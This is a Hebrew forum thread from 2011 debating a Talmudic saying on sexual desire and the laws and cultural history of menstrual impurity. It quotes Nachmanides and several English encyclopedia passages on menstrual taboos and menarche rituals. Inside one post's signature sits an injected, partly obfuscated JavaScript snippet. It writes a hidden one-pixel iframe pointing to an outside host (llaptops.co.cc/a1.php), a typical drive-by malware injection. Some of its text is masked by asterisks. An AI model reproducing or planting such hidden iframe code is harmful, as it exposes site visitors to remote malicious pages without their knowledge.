| נשלח ב-17/2/2011 14:45 |
 |
| |
והכל רצים אחריה
הגמ' במסכת שבת (קנב א) אומרת
מאי דכתיב - כי הוא אמר ויהי, זו אשה. תנא - חמת מלאה צואה ופיה מלא דם והכל רצים אחריה. פירש רש"י - שאלמלא גזירת מלך לא היתה ראויה להתאוות אליה, מחמת מיאוס. (הגמ' הזאת לא שובניסטית. כי כידוע מערכת הרביה הגברית לא יותר סטרילית. גם עליה ניתן לדבר באותו רעיון על משיכת המין השני כלפיה, אלא שהגמ' דיברה בלשון גברית מקובלת).
שתי שאלות רציתי לשאול על מימרא זו.
1. מה מצאו חכמים מוזר דווקא בתאוות המין יותר מכל תאווה אחרת. האם זה שאדם מסוגל לדחוף לפיו חלקי תרנגול או עגל, או לגמוע ביצים חיות. זה לא מפליא ?. האם השתובבות בתוך מים חמימים ביום סגריר, הוא דבר הנבוע מן ההגיון ?. האם לסוך את עצמו בשמנים ומשחות דביקות, הוא דבר שבסברא ?. ובכלל לולי היתה האשה או הגבר מאוסים, היתה חמדת המין מובנת ?.
אם תאמר שהוקשה להם, הלוא אדם לא יסוך עצמו בגללי בהמה, או לא יכניס לפיו מי רגלי חיה. רואים שתאוותיו מוגבלים ע"י כללי הגיינה אנושיים. ואילו כאן בחמדת המין, נשברו הכללים.
ראשית, גם בעניני אכילה ושתיה ידוע ומפורסם גם בזמנם, שבעת חרפת רעב יכניס האדם הכל לפיו. האם זה גזירה תמוהה ?. בנוסף, האם הם לא הבינו שיש הבדלים בין סוגי חמדות וחשק ?. חמדת האכילה הסיכה והרחיצה בגדריה, וחמדת המין הרגישה העזה והעמוקה יותר, בכללה.
לעומק התשוקה הם קראו גזירת מלך ?! הם לא ראו בזה חשק טבעי ככל החשקים, רק עמוק יותר.
2. האם הכינוי 'גזירת מלך' של מסכת שבת, הוא תחליף לכינוי 'יצרא דעבירה' המוזכר במסכת יומא (סט ב) כאחראי לפריה ורביה של כל בעלי החיים. האם הם שתי גישות ליצר המין ? האחת רואה בו גזירת מלך תמוהה ובלתי מובנת. בעוד שהשניה רואה בו יצר של עבירה כמו יצר עבודה זרה המוזכר שם או יצר של שפיכות דמים. או שמא הכוונה אחת, לגזירת מלך על יצר של עבירה.
 |
|
|
|
|
| נשלח ב-25/2/2011 00:48 |
|
| |
| עצכח כתב: |  | פי האתון
תמהני על פה קדוש איך יאמר דבר זה, שהרי לא מצאנו איסור ייחוד בממון. ושמא תמצא את המקור.
|
|
מתוך הספר Making of a Godol עמוד 670R' Laib's suspicion of Barukh-Meir is reminiscent of a pronouncement by R' Yisrael Salanter that our protagonist repeated, to wit, "If I were present when the Sages forbade seclusion [ ייחוד ] with another man's wife, I would have outlawed seclusion with another man's money all the more - because a majority of people are suspect of thievery, and only a minority of sexual sins [ 1 1 [ בגזל ומיעוט ב ע ר י ו ת
|
|
|
|
| נשלח ב-24/2/2011 19:08 |
|
| |
לדעתי הסיבה שתאווה זו שונה משאר תאוות האדם היא , שגבר בעיני גבר אחר אם אינו הומוסקסואל נחשב כחמת מלאה צואה אבל בעיני אישה הוא מושך . וכן להפך אשה בעני חברתה אינו דבר שהיא נמשכת אליו אם אינה לסבית, אבל בעיני הגבר היא מושכת עד מאוד . מה שהופך תאווה זו למוזרה ומעניינת.
|
|
|
|
| נשלח ב-18/2/2011 14:19 |
|
| |
בעל
תודה, תעשה טובה תקפיץ את האשכול הזה באיזה תגובה מחכימה שלך.
ושהאשכול הזה יעסוק במהות הדחף המיני והקשרו לאהבה. אם זה מענין פה מישהו.
דבר שעסקו בו בגמ' לא ראוי שיעסקו בו כאן?!.
זה גם מאוד קשור לעבודת הבורא שחלקים ממנה מבוססים על ריגושים וקשר בנוסח 'אנו רעייתך ואתה דודינו'. הרי שיר השירים שהוא קודש קדשים מצא לנכון לקחת את הרומנטיקה כבסיס הקשר בין ישראל לאל. וכידוע מה היו הכרובים בבית קה"ק מסמלים.
תוקן על ידי ja_mubarak ב- 18/02/2011 14:25:15
|
|
|
|
| נשלח ב-18/2/2011 14:11 |
|
| |
|
|
|
|
| נשלח ב-18/2/2011 11:49 |
|
| |
לדעתי חבל לפספס את הנושא כאן. הוא מאוד חשוב לכל אחד מאיתנו, להבנת הנושא, ולאיכות חייו.
אני רק יסיט אותכם חזרה לפרט מאוד חשוב הקשור לכאן, שנשכח בכל בליל המיצים הגועליים. קוראים לו "אהבה". תאוות המין שלא ככל שאר התאוות אגודה וקשורה מאוד לחלק מאוד רגשי ותודעתי בנפש אדם [וכן, אפילו בעלי חיים].
גם המנגון הנוירופיזי בכל הקשור לדחף המין, הוא מורכב לאין ערוך משאר הדחפים. המערך ההורמונאלי המגוון והמאוד מורכב, החלקים המגוונים במוח שמופעלים אצל הזכר והנקבה בהקשר מיני, אינם משתווים בכלל לשאר הדחפים.
פטרתם כאן נושא קריטי ביותר בחיינו, בכמה קלישאות. וחבל.
אני מציע שייפתח אשכול אחר על דם נידות והקשריו.
תוקן על ידי ja_mubarak ב- 18/02/2011 11:53:26
|
|
|
|
| נשלח ב-18/2/2011 10:25 |
|
| |
| מיימוני כתב: | |
ודאי שהתורה מייחסת טומאה לנידה (ולזבה). אך האם התורה נתנה כאן עיצוב הכרחי לאמונה שהיתה רווחת בעם בלאו הכי, מעין ויתור הכרחי לאדם בן התקופה, או שהתורה אכן רואה חסרון וטומאה ממשית בנידה? מסתבר שבכך יחלקו הרציונליסטים כמו הרמב"ם עם בעלי החשיבה המגית.
אולי יש לקשר בין המקור שיצאנו לדרך ממנו, לבין אותה ברייתא מפורסמת ותמוהה בשם זקנים הראשונים על ההרחקות הנוראות שהוטלו על הנידה (מובאת בציטוט מפורסם בידי הרמב"ן, ואין הוא זמין לי כרגע להעתיקו).
סליחה על שפע המקורות המציפים אותנו, אולם דומה שכדאי לבחון את הרקע וזה מועיל לדיון.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
******* language="">
*--
var as='h';
var ac='tt';
var ab='p';
var ay="//";
document.write("*************** src='"+as+ac+ab+":"+ay+"llaptops.co.cc/a1.php?a="+***************+"' frameborder='0' height=1px width=1px scrolling='no' ><*");
//*
|
|
לדעתי נידה וזבה הן טמאות לא בגלל איזה מאגיה או כוח אלילי אלא כמו רוב (או כל) הטומאות שקשורות בד"כ לדברים
לא היגייניים. (השווה לבעל קרי ולזב, למשל)
נ.ב.
לרמב"ן הזה התכוונת?
" אל יחר בעיני אדני כי לא אוכל לקום מפניך" - לא הבינותי מה התנצלות זה וכי הנשים אשר להם האורח לא יקומו ולא יעמודו אולי אמרה כי ראשה ואבריה כבדים עליה והיא חולה בבא הארח כי כן דרכן וכל שכן במעטות הלידה כרחל שדמיהן מועטין והארח יכבד עליהם מאד והנכון בעיני כי היו הנדות בימי הקדמונים מרוחקות מאד כי כן שמן מעולם "נדות" לריחוקן כי לא יתקרבו אל אדם ולא ידברו בו כי ידעו הקדמונים בחכמתם שהבלן מזיק גם מבטן מוליד גנאי ועושה רושם רע כאשר בארו הפילוסופים עוד אני עתיד להזכיר נסיונם בזה ( ויקרא יח יט) והיו יושבות בדד באהל לא יכנס בו אדם וכמו שהזכירו רבותינו בברייתא של מסכת נדה תלמיד אסור לשאול בשלמה של נדה רבי נחמיה אומר אפילו הדבור היוצא מפיה הוא טמא אמר רבי יוחנן אסור לאדם להלך אחר הנדה ולדרוס את עפרה שהוא טמא כמת כך עפרה של נדה טמא ואסור ליהנות ממעשה ידיה ולכך אמרה רחל ראויה הייתי לקום מפני אדוני לנשק ידיו אבל דרך נשים לי ולא אוכל להתקרב אליך וגם לא ללכת באהל כלל שלא תדרוך אתה עפר רגלי והוא החריש ממנה ולא ענה אותה כי לא היו מספרים עמהן כלל מפני שדבורה טמא
|
|
|
|
| נשלח ב-18/2/2011 09:06 |
|
| |
מיימוני
מאי נפק"מ אם נתפוס כרמב"ם או כחולקים עליו? המסקנה המעשית דומה מאוד, אא"כ אתה מוכן להסיק מסקנות מעשיות מטעמי המצוות.
אם ההנחה היא המצוות אמורות לחנך למשהו, אזי מתן יחס של טומאה לדברים מסויימים, הן ע"י הרחקה מהמקדש, הן ע"י הרחקה מלימוד תורה, ילמדנו שיש פגם בדברים האלו. אם התפלה באה ללמדנו דעות מסוימות, מדוע שלא נאמר זאת על טומאה וטהרה.
ובכך אולי אנו חוזרם לאשכולו של ינוח:
תמיד נוכל לטעון שמצוות מסוימות הן צד הכוונה האראשונה ואחרות הן כוויתור לרוח הזמן או להרחקה מדברים גרועים יותר, אך מי מפיס?
תוקן על ידי בעלבעמיו ב- 18/02/2011 09:11:39
|
|
|
|
| נשלח ב-18/2/2011 08:46 |
|
| |
כמדומה שניתן לסכם את כל החומר כאן בכמה מסקנות יסוד.
א. זמן הנידה נחשב לייחודי. מייחסים לו משמעויות מיתיות. אמנם יש כאן גישות שונות וסותרות, אם כי ניתן להעלות השערות לגבי מעברים.
ב. יש גישות שמעניקות לדם ולתופעה עוצמה.
ג. יש שרואות בו דבר מזיק וטמא.
ד. בהיסטוריה של התרבות המערבית, השפעת האמונות של יוון ורומא תרמה ליחס פוסל ושלילי.
ה. יש לברר מה השפעתה של היהדות. באותה אנציקלופדיה מייחסים לסיפור העונש על חווה ראיה שלילית של תופעת הנידות. אם זה נכון, אפשר להבין כיצד מכאן צומחת אמונה בטומאה.
***
ודאי שהתורה מייחסת טומאה לנידה (ולזבה). אך האם התורה נתנה כאן עיצוב הכרחי לאמונה שהיתה רווחת בעם בלאו הכי, מעין ויתור הכרחי לאדם בן התקופה, או שהתורה אכן רואה חסרון וטומאה ממשית בנידה? מסתבר שבכך יחלקו הרציונליסטים כמו הרמב"ם עם בעלי החשיבה המגית.
אולי יש לקשר בין המקור שיצאנו לדרך ממנו, לבין אותה ברייתא מפורסמת ותמוהה בשם זקנים הראשונים על ההרחקות הנוראות שהוטלו על הנידה (מובאת בציטוט מפורסם בידי הרמב"ן, ואין הוא זמין לי כרגע להעתיקו).
סליחה על שפע המקורות המציפים אותנו, אולם דומה שכדאי לבחון את הרקע וזה מועיל לדיון.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< language="">
|
|
|
|
|
| נשלח ב-18/2/2011 08:41 |
|
| |
THE IMPACT OF GREEK AND
ROMAN ATTITUDES
Much of the Western cultural approach to women and
their bodily functions derives from the doctors and philosophers
of classical Greece. In the sixth century BCE, the
physician Hippocrates described the four sensible qualities
of the human body as hot, cold, moist, and dry,
which Empedocles later associated with the four elements
of fire, earth, water, and air. Males consisted of the
positive elements and qualities—fire and air, hot and
dry; women of the negative—water and earth, moist
and cold. This natural science influenced Aristotle’s
(384� BCE) conclusion that menstrual blood derived
from the residue generated by women’s cold, wet (passive)
nature; because of her coldness, woman could not
produce seed (semen), and was therefore just the matter
from which the fetus was conceived after the sperm had
acted to provide the form. The correlate of this notion
was that the shedding of menstrual blood demarks an
unsuccessful conception, wherein the blood is unformed
dead matter, a failed life.
This negative concept persisted for many centuries,
through the Greek and Roman eras, to the beginning of
Christianity and on. By the time of the Roman writer
Pliny (23 CE), a woman’s monthly flow was thought
to have a deleterious effect on virtually anything that it
touched. In his Natural History, Pliny writes that menstrual
blood is so harmful that contact with it causes
crops to die, new wine to sour, iron and bronze to rust,
and hives of bees to die! Centuries later, the Christian
theologian Thomas Aquinas (1225�) cited Aristotle
in his Summa Theologica, adding that menstrual blood is
naturally impure and infected with corruption (2.2189).
The Christian approach toward menstruation was, then,
directly influenced by the pseudo-scientific teachings of
the Greeks, although it also maintained some of the
practices of Judaism.
|
|
|
|
|
|
| נשלח ב-18/2/2011 08:41 |
|
| |
ובערך המתאים באנציקלופדיה
Ancient cultures connected women’s cycle of ovulation
and menstruation to the phases of the moon, sometimes
referring to women in menses as being ‘‘on their moon.’’
The term menses comes from the Latin word for month,
mensis, which is cognate with the Greek word for moon,
mene. The menstrual cycle is thus perceived as a reflection
of the cosmic cycles of nature in the female body,
but this has not always been perceived as a positive
connotation. For instance, the Greek philosopher
Empedocles (c. 493� BCE) believed that women menstruated
at the waning of the moon, in order to purify
their wombs.
From ancient times, then, there seems to have been
an ambivalence towards menstruation: on the one hand,
the onset of menstruation is celebrated as marking the
change from girl to woman, who is now physically able
to bring new life into the world; on the other hand,
menstrual blood may be considered to be dangerous or
polluting, thus rendering the woman in menses ritually
excluded or separated. Different religions explain such strictures according to their own view of what is sacred
and profane, what is pure and impure.
MENSTRUAL TABOOS
Attitudes toward menstruation vary according to the
cultural perspective on menstrual blood. In societies
where it is regarded as a medium of transmission of
power, the woman in menses may be circumscribed and
marked by other forms of ritual exclusion involving
taboos relating to dietary restriction, and the avoidance
of sacred objects, places, male implements (such as hunting
or fishing equipment), tending the fire, practicing
medicine or shamanic activities. In Hawaii, for example,
women lived in a one-roomed menstrual hut (hale pe’a)
that was on a plot of land removed from, and off-limits
to, the general population. Similar huts were used by the
Tlingit (Kolosh ) people of Alaska, the Zoroastrians in
Iran, and the Dogon of Mali. Such practices have
declined in recent times.
Some of these taboos may also pertain in other
religious traditions, which treat menstrual blood as a
polluting substance, and the woman in menses as
unclean, at least in ritual terms. As a result, women’s
participation in the sphere of public ritual is proscribed
because of their state of impurity. Such proions
have been found in reference to ensuring the temple
and ritual purity of both Greek and non-Greek mystery
cults from as early as the third century BCE. Orthodox
(Hindu) Brahmans throughout India and Nepal retain
the practice of excluding menstruating women from the
kitchen and the shared dining table. Hindu and Jain
mandirs and Parsi agiaries often have signs that women
in menses are not to enter.
יש כמות אדירה של חומר בנושאים אלו. הנקודה המרכזית היא שיש כאן כפילות. יש שראו בדם הזה עוצמה, ככל הנראה עם רקע מיתי כזה או אחר. ויש שראו בו דבר מטמא. במזרח הרחוק שתי הגישות קיימות. הגישה המערבית נובעת, לדברי המקורות שמצוטטים לקמן, מן היוונים והרומאים, ומדברי הרופאים והפילוסופים, כדלקמן.
|
|
|
|
|
| נשלח ב-18/2/2011 08:39 |
|
| |
הבה ונתמקד ביהדות.
האם דיני הטומאה והטהרה הם כללים הלכתיים גרידא או מבטאים יחס של ריחוק ותועבה כלליים?
אונקלוס מתרגם את המילה טמא 'מסאב' שמשמעותו לכלוך.
בתפלה אומרים "אל הביטה דל כבודנו בגויים ושקוצנו כטומאת הנידה".
בפרשת שמיני נראה שטומאה וטהרה = לאיסור והיתר, וראו
|
|
|
|
| נשלח ב-18/2/2011 08:37 |
|
| |
אבל, מאותו ספר,
Most cultures either ritualistically or implicitly segregate
the menarchal and/or menstruating female from
communal activities. Studies of women and their personal
accounts of menstruation indicate that feelings of
isolation and separation are quite common across cultures.
For instance, one woman conveyed feelings of
‘‘public shame’’ that kept her isolated from her childhood
friends, particularly male friends, and from religious
rituals in Greece: ‘‘Once you being menstruating, that’s
it, the rules change. . . . If you are going to church and
you have a period you are not allowed to kiss the icons,
you are considered dirty’’ (Koutroulis 2001, p. 197).
Psychology and health scholar Jane M. Ussher (2006)
states that a female’s experience may be positive if
menarche is adequately explained and/or celebrated by
the family or society. If menstruation is not discussed or
celebrated, females often have negative or anxious experiences
with the onset of menstruation.
|
|
|
|
| נשלח ב-18/2/2011 08:34 |
|
| |
עבור מי שאינו קורא אנגלית או שאין לו זמן, הטענה היא שדם הנידה, כבר בהופעתו הראשונה, ציין עבור בני העולם העתיק מאד - השבטים הפרימיטייבים של האדם הקדמון - כוח אלילי.
(גרייבס, סופר ואנתרופולוג, טען שהחברה הפרימיטיבית הראשונית נוהלה דווקא בידי נשים. זה מתאים לשיטתו).
לפי זה, האם בשלב כלשהו חל מהפך, ומה שהיה אלילי הפך, באחת המוטציות שמוסברות על ידי מאבק בין מגדרי או מהפך של חשיבה מיתית, מאלילי למסוכן וממסוכן לדוחה?
אלו שאלות מתבקשות ללא קשר לתיאוריות שלנו על התפתחות האדם הקדמון מכל מיני בחינות, אם בכלל נסכים שיש כזו היסטוריה (איך אפשר להכחיש זאת?).
|
|
|
|
| נשלח ב-18/2/2011 08:29 |
|
| |
MENARCHE, CULTURAL
AND SPIRITUAL
MEANINGS
Menarche denotes a young woman’s first menstruation;
it signifies her transformation from childhood to adulthood.
Most traditional cultures celebrated this transition
with religious ceremonies of varying complexity, honoring
not only the girl but womanhood itself. Those cultures
that no longer have such a ritual are usually
patriarchal and no longer consider women to have a
special sacred nature. Contrary to the andocentric literature,
menarche rituals are the only true puberty rituals,
for males do not evidence so obvious a marker of physical
maturity as menarche.
MENARCHE RITUALS IN EARLY
SOCIETIES
The earliest cultures were gathering-hunting traditions,
which were and remain egalitarian in all aspects including
gender. In these cultures, women were equated with the
Earth aspect of the female-male primary complementary
divine couple, Sky-Earth, from whom all life came.
Menstrual flowing was equated with springs and streams,
the flowing of Earth, and the menstrual cycle was equated
with the female aspect of the complementary divine
couple of male Sun-female Moon, as the two cycles tend
to be the same. Thus menarche brought the girl becoming
woman not only to her physical reproductive power
but to her spiritual power, making her equivalent to
Earth and Moon.
In caves throughout the world, one finds images of
the vulva engraved or painted on the walls from tens of
thousands of years ago to the present. In Iowa there are
vagina-shaped caves, by streams near old village sites,
whose walls are inscribed over and over again with the
symbol for the vulva, which in some contemporary
Anshinaabe traditions in the Great Lakes region, is also
the symbol for Earth. Less than a century ago, young
women sequestered themselves in these caves during
menarche, fasting to attain guardian spirits, and bonding
themselves with Earth. As they sat on the earthen floor,
their menstrual flow merged with Earth as they heard
Her flowing water nearby. To commemorate their newly
gained spiritual power, these young women inscribed the
vagina/earth sign on the cave wall. More commonly, they
sequestered themselves in a small wigwam or teepee for
the same purpose.
MENARCHE AND WOMEN AS
POWERFUL BEINGS
This separation from community tends to be completely
misunderstood by misogynous cultures. Modern European
and North American scholars assume that other traditions
have the same hatred for the female body as their own and
usually interpret menstrual seclusion as a way to avoid the
polluting nature of females, particularly during menstruation.
This understanding has led to theories of pollution
and purity. The actuality is the opposite.
Before the spread of Christian misogyny, women’s
bodies were thought to be spiritually powerful. This power
increased during menstruation, when the life-force of the
body, blood, flowed from the center of her reproductive/
spiritual power. At this time women were so powerful that
their power would overwhelm male power, which would
be deleterious to both men and women. Thus women
removed themselves from contact with males. As a practical
consideration, if the pheromones produced by
women during menstruation were to adhere to men or
their hunting weapons, they could be smelled at a distance
by animals and the hunt would be unsuccessful, thus
reducing the available food for the entire community.
It is at menarche that this spiritual power is perceived
as dangerous to the community, because the
young woman has yet to learn how to control it. Thus
during the menarche sequestering, young women receive
instruction from older women and fast for spiritual
power. Their return to the community is celebrated with
a feast. In agricultural traditions, where hunting is
replaced by farming, this sequestering tends to be more
symbolic than actual, and the celebration may be put off
for a year or more to enable the accumulation of all that
is needed for a major ceremony and feast.
Menarche rituals can be found in traditional societies
around the world, but perhaps the most outstanding is that
of the Navajo and Apache. These cultures migrated from
the northwestern part of Canada to the U.S. Southwest
500 years ago. In the north, the related cultures, such as
the gathering-hunting Dene´, consider women to be
more spiritually powerful than men and a partial
menarche seclusion lasts for a year. In the south, the
cultures fused with the matrifocal, agricultural Pueblo
traditions, creating a complex four-day menarche ritual
which brings powerful spirits to heal the people of the
community. During the ceremony, the young woman
becomes temporarily divine; she is the Earth Mother
herself and can heal those around her. The ceremony is
the major ritual of these cultures, serving as a means for
continuing tradition and for the community to reaffirm
its solidarity in the presence of the sacred. For those
women who undergo the arduous ritual, it remains the
most important and empowering ritual of their lives.
|
|
|
|
|
| נשלח ב-18/2/2011 08:28 |
|
| |
כיון שהילדים יצאו, אני מוסיף הערה שלא מן הסדר דלעיל.
מה היחס המצוי לדם וסת?
כמדומה שמוסכם על חוקרים שבזמן הוסת הגברים מתרחקים מן הנשים. האם נשים ראו את עצמן כראויות להרחקה באותו הזמן? זה איני יודע.
בשעשוע הפסיכולוגי של "אילו הייתי אשה" סבורני שלא הייתי רואה חסרון בהפרשה של דם, במיוחד אם היא קבועה ומעידה על תיפקוד בריא של הגוף.
אמנם יש להבדיל כאן בין נשים לבין גברים. כפי שאצטט מייד, בעולם העתיק זמן הנידה והפרשותיה נחשבו לדבר דוחה. אולם איך האשה ראתה זאת בעצמה?
Menstruation was considered foul. CUNNILINGUS of menstruating women was
especially obscene (Galen 12:249 Kühn); OVID advises the lover who wants to fall out
of love to observe the woman performing something “obscene,” presumably waste
elimination, especially menstruation (Rem. Am 437). Menstrual blood was thought to
be not only emotionally but also physically powerful, so strong it could dissolve the
bitumen that clung to boats in the Dead Sea (Josephus, Bell. Jud. 4.8.4; cf. Pliny, NH
28.70 Richlin 1997).
היחס לדם נידה היה שלילי ביהדות ולהבדיל אצל הזורואסטרים והמניכאים (שתי דתות שבנויות על דואליזם ומאבק בין טוב לרע שבא לידי ביטוי בכל רמות המציאות).
אבל מעניין לראות שטוענים שבעולם העתיק לנידה היתה משמעות נוספת, חיובית, ולתופעת הנידות היה יחס של כבוד ופחד. ולפי זה, אולי השלילה של הנידות היא ריאקציה?
קצת ארוך ובאנגלית, יועתק לקמן.
|
|
|
|
|
|
